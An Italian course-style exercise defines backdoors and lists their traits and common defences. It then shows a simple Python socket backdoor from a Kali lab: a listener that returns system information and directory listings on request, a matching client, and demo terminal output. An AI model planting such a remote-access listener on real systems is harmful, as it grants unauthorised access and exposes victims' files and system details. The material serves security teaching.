

DEFINIZIONE DI BACKDOOR:

una backdoor è come una porta segreta nascosta in un sistema informatico o un software che permette a qualcuno di accedere o controllare il sistema senza autorizzazione. Spesso, questa porta segreta viene creata o sfruttata da BLACK HAT o da chi ha accesso al sistema per scopi nefasti. È una vulnerabilità che mette a rischio la sicurezza del sistema. Ecco alcune caratteristiche comuni delle backdoor:

1. **Accesso nascosto:** consente al blackhat di accedere al sistema o all'applicazione senza che l'utente se ne accorga.
2. **Controllo remoto:** i blackhat usano queste porte per eseguire comandi, rubare dati o effettuare altre azioni.
3. **Persistenza:** Le backdoor cercano di rimanere nascoste nel sistema il più a lungo possibile. Possono essere progettate per sopravvivere a riavvii del sistema e ad aggiornamenti software.
4. **Evasione delle difese:** i blackhat usano queste porte per evitare di essere rilevati da software di sicurezza, firewall e antivirus.
5. **Scopo malevolo:** Le backdoor sono spesso utilizzate per, come il furto di dati, il monitoraggio delle attività degli utenti o la compromissione del sistema.

Anche gli sviluppatori usano queste porte per cose tipo manutenzione o accessi di emergenza. Però l'abuso può portare a problemi di sicurezza.

Per evitare gli attacchi attraverso le backdoor si possono usare password più robuste, i firewall, e l'uso di politiche di accesso più severe. Ed è importante formare gli utenti nella consapevolezza della sicurezza per evitare accessi non autorizzati nel sistema.

Codici di kali, dove il socket, crea un server, e crea un client

The image displays two terminal windows side-by-side, illustrating the implementation of a simple socket server and client in Python.

Left Terminal (Server):

- Terminal title: `kali@kali: ~/Desktop`
- File: `server.py`
- Code content:

```
#!/usr/bin/env python
import socket, platform, os

SRV_ADDR = "192.168.32.100"
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Right Terminal (Client):

- Terminal title: `kali@kali: ~/Desktop`
- File: `serverClient.py`
- Code content:

```
#!/usr/bin/env python
import socket

SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type the server port: "))

def print_menu():
    print("""\n\n0) Close the connection
1) Get system info
2) List directory contents""")

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))

print("Connection established")
print_menu()

while 1:
    message = input("\n-Select an option: ")

    if(message == "0"):
        my_sock.sendall(message.encode())
        my_sock.close()
        break

    elif(message == "1"):
        my_sock.sendall(message.encode())
        data = my_sock.recv(1024)
        if not data: break
        print(data.decode('utf-8'))

    elif(message == "2"):
        path = input("Insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
        data = data.decode('utf-8').split(",")
        print(" "*40)
        for x in data:
            print(x)
        print(" "*40)
```

Dimostrazione

```
kali@kali: ~/Desktop
File Actions Edit View Help
(kali@kali)-[~]
$ cd Desktop/

(kali@kali)-[~/Desktop]
$ python server.py
client connected: ('192.168.32.100', 42720)
^CTraceback (most recent call last):
  File "/home/kali/Desktop/server.py", line 33, in <module>
    connection, address = s.accept()
                           ^^^^^^^^^
File "/usr/lib/python3.11/socket.py", line 294, in accept
    fd, addr = self._accept()
               ^^^^^^^^^^^^^
KeyboardInterrupt

(kali@kali)-[~/Desktop]
$
```

```
kali@kali: ~/Desktop
File Actions Edit View Help
(kali@kali)-[~/Desktop]
$ python serverClient.py
Type the server IP address: 192.168.32.100
Type the server port: 1234
Connection established

0) Close the connection
1) Get system info
2) List directory contents

-Select an option: 1
Linux-6.3.0-kali1-amd64-x86_64-with-glibc2.37 x86_64

-Select an option: 2
Insert the path: esercizi
*****

esercizio
a.out
quiz
esercizioPython.py
esercizio python.py
esercizio.c
*****

-Select an option: 0

(kali@kali)-[~/Desktop]
$
```